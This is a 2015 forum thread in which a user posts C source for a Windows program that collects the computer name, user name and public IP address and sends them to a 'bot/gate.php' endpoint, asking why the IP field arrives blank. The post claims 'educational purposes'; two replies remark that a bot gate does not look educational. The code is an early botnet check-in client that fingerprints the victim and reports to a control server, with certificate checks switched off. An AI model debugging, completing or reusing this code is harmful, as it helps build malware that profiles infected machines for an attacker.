StoneIce Posted August 27, 2015 Report Posted August 27, 2015 Ok This Code sends data from the application to the php page, Tested and works Ok.but the char* ip sends blank data , been wondering why it behaves so. It sends the computer as well as the computer User name to the server , but the IP it does not, i am wondering if someone could give me a hand to print characters from a char function.Everything coded here is strictly for educational purposes.Code looks like this //#include "stdafx.h"#include <stdio.h>#include <windows.h>#include <string.h>#include <Wininet.h>#define GET 0#define localhost Host#pragma comment(lib,"wininet")#pragma comment(lib,"urlmon")char* ip();char* myHwid(); char* myip = ip(); char* comp = getenv("COMPUTERNAME"); char* user = getenv("USERNAME"); char* ip () { HINTERNET hInternet , hFile; DWORD rSize; char ipv4[50]; hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0); InternetReadFile(hFile,&ipv4,sizeof(ipv4),&rSize); ipv4[rSize] ='\0'; InternetCloseHandle(hFile); InternetCloseHandle(hInternet); }void Request(int Method, LPCSTR Host, LPCSTR url, LPCSTR header, LPSTR data){ HINTERNET internet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); HINTERNET connect = InternetConnectA(internet, Host, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); HINTERNET request = HttpOpenRequestA(connect, GET, url, "HTTP/1.1", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, NULL); if(request != NULL) { int datalen = 0; if(data != NULL) datalen = strlen(data); int headerlen = 0; if(header != NULL) headerlen = strlen(header); //http://msdn.microsoft.com/en-us/library/windows/desktop/aa384247%28v=vs.85%29.aspx HttpSendRequestA(request, header, headerlen, data, datalen); //http://msdn.microsoft.com/en-us/library/windows/desktop/aa384350%28v=vs.85%29.aspx InternetCloseHandle(request); } InternetCloseHandle(internet);}void sendpcInfo() { char URL[1024]; char* geturi = "bot/gate.php?myip=%s&comp=%s&compUser=%s"; wsprintfA(URL,geturi,myip,comp,user); Request(GET,"localhost",URL,NULL,NULL); MessageBoxA(NULL,"Sent!","",MB_OK); }int main(){ sendpcInfo(); system("pause");} Quote
Nytro Posted August 27, 2015 Report Posted August 27, 2015 bot/gate.phpDoesn't look like "educational purposes". Quote
S.L.C Posted August 27, 2015 Report Posted August 27, 2015 bot/gate.phpDoesn't look like "educational purposes".Depends on what you're learning Quote